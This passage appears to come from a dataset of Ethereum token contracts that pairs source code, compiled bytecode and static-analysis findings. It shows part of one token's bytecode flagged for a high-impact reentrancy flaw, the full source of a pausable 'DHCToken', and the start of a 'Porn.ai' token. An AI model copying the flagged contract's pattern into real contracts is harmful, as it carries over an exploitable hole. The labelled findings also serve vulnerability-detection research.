040525081019061113891906128c4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111c130610a05565b6000806111cc610c62565b426040518863ffffffff1660e01b81526004016111ee96959493929190612dd9565b6060604051808303818588803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112409190612a70565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f8190555068a2a15d09519be000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611353929190612db0565b602060405180830381600087803b15801561136d57600080fd5b505af1158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a59190612a1e565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90612fb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611518576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150f90612ed7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f69190612ff7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166a90612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da90612e77565b60405180910390fd5b60008111611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90612f57565b60405180910390fd5b6000600a81905550600a600b8190555061173e610c62565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ac575061177c610c62565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119095750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561195f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119775750600e60179054906101000a900460ff165b15611ab557600f548111156119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b890612e97565b60405180910390fd5b601054816119ce84610a05565b6119d8919061312d565b1115611a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1090612f97565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a71919061312d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b605750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bcc576003600a819055506007600b819055505b6000611bd730610a05565b9050600e60159054906101000a900460ff16158015611c445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600e60169054906101000a900460ff165b15611c8457611c6a81611e99565b60004790506000811115611c8257611c8147611dbf565b5b505b505b611c91838383612193565b505050565b6000838311158290611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd59190612e55565b60405180910390fd5b5060008385611ced919061320e565b9050809150509392505050565b600080831415611d0d5760009050611d6f565b60008284611d1b91906131b4565b9050828482611d2a9190613183565b14611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190612f17565b60405180910390fd5b809150505b92915050565b6000611db783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e27573d6000803e3d6000fd5b5050565b6000600854821115611e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6990612eb7565b60405180910390fd5b6000611e7c612206565b9050611e918184611d7590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f255781602001602082028036833780820191505090505b5090503081600081518110611f63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561200557600080fd5b505afa158015612019573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203d91906128c4565b81600181518110612077577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120de30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611438565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612142959493929190613012565b600060405180830381600087803b15801561215c57600080fd5b505af1158015612170573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61219e838383612231565b505050565b600080831182906121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e19190612e55565b60405180910390fd5b50600083856121f99190613183565b9050809150509392505050565b60008060006122136123fc565b9150915061222a8183611d7590919063ffffffff16565b9250505090565b60008060008060008061224387612461565b9550955095509550955095506122a186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238281612571565b61238c848361262e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e99190612ff7565b60405180910390a3505050505050505050565b60008060006008549050600069152d02c7e14af6800000905061243469152d02c7e14af6800000600854611d7590919063ffffffff16565b8210156124545760085469152d02c7e14af680000093509350505061245d565b81819350935050505b9091565b600080600080600080600080600061247e8a600a54600b54612668565b925092509250600061248e612206565b905060008060006124a18e8787876126fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c96565b905092915050565b6000808284612522919061312d565b905083811015612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90612ef7565b60405180910390fd5b8091505092915050565b600061257b612206565b905060006125928284611cfa90919063ffffffff16565b90506125e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612643826008546124c990919063ffffffff16565b60088190555061265e8160095461251390919063ffffffff16565b6009819055505050565b6000806000806126946064612686888a611cfa90919063ffffffff16565b611d7590919063ffffffff16565b905060006126be60646126b0888b611cfa90919063ffffffff16565b611d7590919063ffffffff16565b905060006126e7826126d9858c6124c990919063ffffffff16565b6124c990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127178589611cfa90919063ffffffff16565b9050600061272e8689611cfa90919063ffffffff16565b905060006127458789611cfa90919063ffffffff16565b9050600061276e8261276085876124c990919063ffffffff16565b6124c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279a612795846130ac565b613087565b905080838252602082019050828560208602820111156127b957600080fd5b60005b858110156127e957816127cf88826127f3565b8452602084019350602083019250506001810190506127bc565b5050509392505050565b600081359050612802816136ea565b92915050565b600081519050612817816136ea565b92915050565b600082601f83011261282e57600080fd5b813561283e848260208601612787565b91505092915050565b60008135905061285681613701565b92915050565b60008151905061286b81613701565b92915050565b60008135905061288081613718565b92915050565b60008151905061289581613718565b92915050565b6000602082840312156128ad57600080fd5b60006128bb848285016127f3565b91505092915050565b6000602082840312156128d657600080fd5b60006128e484828501612808565b91505092915050565b6000806040838503121561290057600080fd5b600061290e858286016127f3565b925050602061291f858286016127f3565b9150509250929050565b60008060006060848603121561293e57600080fd5b600061294c868287016127f3565b935050602061295d868287016127f3565b925050604061296e86828701612871565b9150509250925092565b6000806040838503121561298b57600080fd5b6000612999858286016127f3565b92505060206129aa85828601612871565b9150509250929050565b6000602082840312156129c657600080fd5b600082013567ffffffffffffffff8111156129e057600080fd5b6129ec8482850161281d565b91505092915050565b600060208284031215612a0757600080fd5b6000612a1584828501612847565b91505092915050565b600060208284031215612a3057600080fd5b6000612a3e8482850161285c565b91505092915050565b600060208284031215612a5957600080fd5b6000612a6784828501612871565b91505092915050565b600080600060608486031215612a8557600080fd5b6000612a9386828701612886565b9350506020612aa486828701612886565b9250506040612ab586828701612886565b9150509250925092565b6000612acb8383612ad7565b60208301905092915050565b612ae081613242565b82525050565b612aef81613242565b82525050565b6000612b00826130e8565b612b0a818561310b565b9350612b15836130d8565b8060005b83811015612b46578151612b2d8882612abf565b9750612b38836130fe565b925050600181019050612b19565b5085935050505092915050565b612b5c81613254565b82525050565b612b6b81613297565b82525050565b6000612b7c826130f3565b612b86818561311c565b9350612b968185602086016132a9565b612b9f816133e3565b840191505092915050565b6000612bb760238361311c565b9150612bc2826133f4565b604082019050919050565b6000612bda60198361311c565b9150612be582613443565b602082019050919050565b6000612bfd602a8361311c565b9150612c088261346c565b604082019050919050565b6000612c2060228361311c565b9150612c2b826134bb565b604082019050919050565b6000612c43601b8361311c565b9150612c4e8261350a565b602082019050919050565b6000612c6660218361311c565b9150612c7182613533565b604082019050919050565b6000612c8960208361311c565b9150612c9482613582565b602082019050919050565b6000612cac60298361311c565b9150612cb7826135ab565b604082019050919050565b6000612ccf60258361311c565b9150612cda826135fa565b604082019050919050565b6000612cf2601a8361311c565b9150612cfd82613649565b602082019050919050565b6000612d1560248361311c565b9150612d2082613672565b604082019050919050565b6000612d3860178361311c565b9150612d43826136c1565b602082019050919050565b612d5781613280565b82525050565b612d668161328a565b82525050565b6000602082019050612d816000830184612ae6565b92915050565b6000604082019050612d9c6000830185612ae6565b612da96020830184612ae6565b9392505050565b6000604082019050612dc56000830185612ae6565b612dd26020830184612d4e565b9392505050565b600060c082019050612dee6000830189612ae6565b612dfb6020830188612d4e565b612e086040830187612b62565b612e156060830186612b62565b612e226080830185612ae6565b612e2f60a0830184612d4e565b979650505050505050565b6000602082019050612e4f6000830184612b53565b92915050565b60006020820190508181036000830152612e6f8184612b71565b905092915050565b60006020820190508181036000830152612e9081612baa565b9050919050565b60006020820190508181036000830152612eb081612bcd565b9050919050565b60006020820190508181036000830152612ed081612bf0565b9050919050565b60006020820190508181036000830152612ef081612c13565b9050919050565b60006020820190508181036000830152612f1081612c36565b9050919050565b60006020820190508181036000830152612f3081612c59565b9050919050565b60006020820190508181036000830152612f5081612c7c565b9050919050565b60006020820190508181036000830152612f7081612c9f565b9050919050565b60006020820190508181036000830152612f9081612cc2565b9050919050565b60006020820190508181036000830152612fb081612ce5565b9050919050565b60006020820190508181036000830152612fd081612d08565b9050919050565b60006020820190508181036000830152612ff081612d2b565b9050919050565b600060208201905061300c6000830184612d4e565b92915050565b600060a0820190506130276000830188612d4e565b6130346020830187612b62565b81810360408301526130468186612af5565b90506130556060830185612ae6565b6130626080830184612d4e565b9695505050505050565b60006020820190506130816000830184612d5d565b92915050565b60006130916130a2565b905061309d82826132dc565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c7576130c66133b4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313882613280565b915061314383613280565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317857613177613356565b5b828201905092915050565b600061318e82613280565b915061319983613280565b9250826131a9576131a8613385565b5b828204905092915050565b60006131bf82613280565b91506131ca83613280565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320357613202613356565b5b828202905092915050565b600061321982613280565b915061322483613280565b92508282101561323757613236613356565b5b828203905092915050565b600061324d82613260565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a282613280565b9050919050565b60005b838110156132c75780820151818401526020810190506132ac565b838111156132d6576000848401525b50505050565b6132e5826133e3565b810181811067ffffffffffffffff82111715613304576133036133b4565b5b80604052505050565b600061331882613280565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334b5761334a613356565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136f381613242565b81146136fe57600080fd5b50565b61370a81613254565b811461371557600080fd5b50565b61372181613280565b811461372c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db1ac6e4aff96fb9a7ba9117a276fe78eabfe9c30b95169b8cae96dd15cb6af464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,562 |
0xfb71790b96ae067f62c661f2e4f19d4f7eb32668 | pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
address master;
bool public paused;
modifier isMaster {
require(msg.sender == master);
_;
}
modifier isPause {
require(paused == true);
_;
}
modifier isNotPause {
require(paused == false);
_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public isNotPause returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public isNotPause
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public isNotPause returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public isNotPause
returns (bool)
{
require(_spender != address(0));
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public isNotPause
returns (bool)
{
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DHCToken is StandardToken {
string public constant name = "DigItal Homo Sapiens Coin";
string public constant symbol = "DHC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
address private constant coinbase_address = 0x66b37a85019E149Cc7882695F4E824DE2b237d55;
uint8 private constant coinbase_percent = 100;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor(address _master) public {
require(_master != address(0));
totalSupply_ = INITIAL_SUPPLY;
master = _master;
paused = false;
balances[coinbase_address] = INITIAL_SUPPLY * coinbase_percent / 100;
}
function batchTransfer(address[] _to, uint256[] _amount) public isNotPause returns (bool) {
for (uint i = 0; i < _to.length; i++) {
transfer(_to[i] , _amount[i]);
}
return true;
}
function setPause() public isMaster isNotPause{
paused = true;
}
function setResume() public isMaster isPause{
paused = false;
}
function pauseStatus() public view isMaster returns (bool){
return paused;
}
} | 0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de5780632ff2e9dc14610208578063313ce5671461021d578063466916ca146102485780635c975abb1461025d578063661884631461027257806370a082311461029657806388d695b2146102b757806395d89b4114610345578063a9059cbb1461035a578063d33ecfee1461037e578063d431b1ac14610395578063d73dd623146103aa578063dd62ed3e146103ce575b600080fd5b34801561010157600080fd5b5061010a6103f5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561042c565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc6104c1565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a03600435811690602435166044356104c7565b34801561021457600080fd5b506101cc61065f565b34801561022957600080fd5b5061023261066f565b6040805160ff9092168252519081900360200190f35b34801561025457600080fd5b506101a3610674565b34801561026957600080fd5b506101a36106a3565b34801561027e57600080fd5b506101a3600160a060020a03600435166024356106b3565b3480156102a257600080fd5b506101cc600160a060020a03600435166107dc565b3480156102c357600080fd5b50604080516020600480358082013583810280860185019096528085526101a395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506107f79650505050505050565b34801561035157600080fd5b5061010a61086b565b34801561036657600080fd5b506101a3600160a060020a03600435166024356108a2565b34801561038a57600080fd5b506103936109b3565b005b3480156103a157600080fd5b50610393610a09565b3480156103b657600080fd5b506101a3600160a060020a0360043516602435610a61565b3480156103da57600080fd5b506101cc600160a060020a0360043581169060243516610b30565b60408051808201909152601981527f4469674974616c20486f6d6f2053617069656e7320436f696e00000000000000602082015281565b60035460009060a060020a900460ff161561044657600080fd5b600160a060020a038316151561045b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60015490565b60035460009060a060020a900460ff16156104e157600080fd5b600160a060020a03831615156104f657600080fd5b600160a060020a03841660009081526020819052604090205482111561051b57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561054e57600080fd5b600160a060020a038416600090815260208190526040902054610577908363ffffffff610b5b16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105ac908363ffffffff610b6d16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105f2908363ffffffff610b5b16565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b033b2e3c9fd0803ce800000081565b601281565b60035460009033600160a060020a0390811691161461069257600080fd5b5060035460a060020a900460ff1690565b60035460a060020a900460ff1681565b600354600090819060a060020a900460ff16156106cf57600080fd5b600160a060020a03841615156106e457600080fd5b50600160a060020a033381166000908152600260209081526040808320938716835292905220548083111561074057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610777565b610750818463ffffffff610b5b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090819060a060020a900460ff161561081357600080fd5b5060005b835181101561086157610858848281518110151561083157fe5b90602001906020020151848381518110151561084957fe5b906020019060200201516108a2565b50600101610817565b5060019392505050565b60408051808201909152600381527f4448430000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156108bc57600080fd5b600160a060020a03831615156108d157600080fd5b600160a060020a0333166000908152602081905260409020548211156108f657600080fd5b600160a060020a03331660009081526020819052604090205461091f908363ffffffff610b5b16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610954908363ffffffff610b6d16565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b60035433600160a060020a039081169116146109ce57600080fd5b60035460a060020a900460ff1615156001146109e957600080fd5b6003805474ff000000000000000000000000000000000000000019169055565b60035433600160a060020a03908116911614610a2457600080fd5b60035460a060020a900460ff1615610a3b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a179055565b60035460009060a060020a900460ff1615610a7b57600080fd5b600160a060020a0383161515610a9057600080fd5b600160a060020a03338116600090815260026020908152604080832093871683529290522054610ac6908363ffffffff610b6d16565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610b6757fe5b50900390565b81810182811015610b7a57fe5b929150505600a165627a7a72305820484739a79397c1918fac535e0601110ac8abc4da2130f72a37a58d8b4ec532c20029 | {"success": true, "error": null, "results": {}} | 10,563 |
0x8ca5ebd85436c8492767bd3f6789eaca6c8f2024 | // SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Porn.ai' token contract
//
// Symbol : PORN
// Name : Porn.ai
// Total supply: 1 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
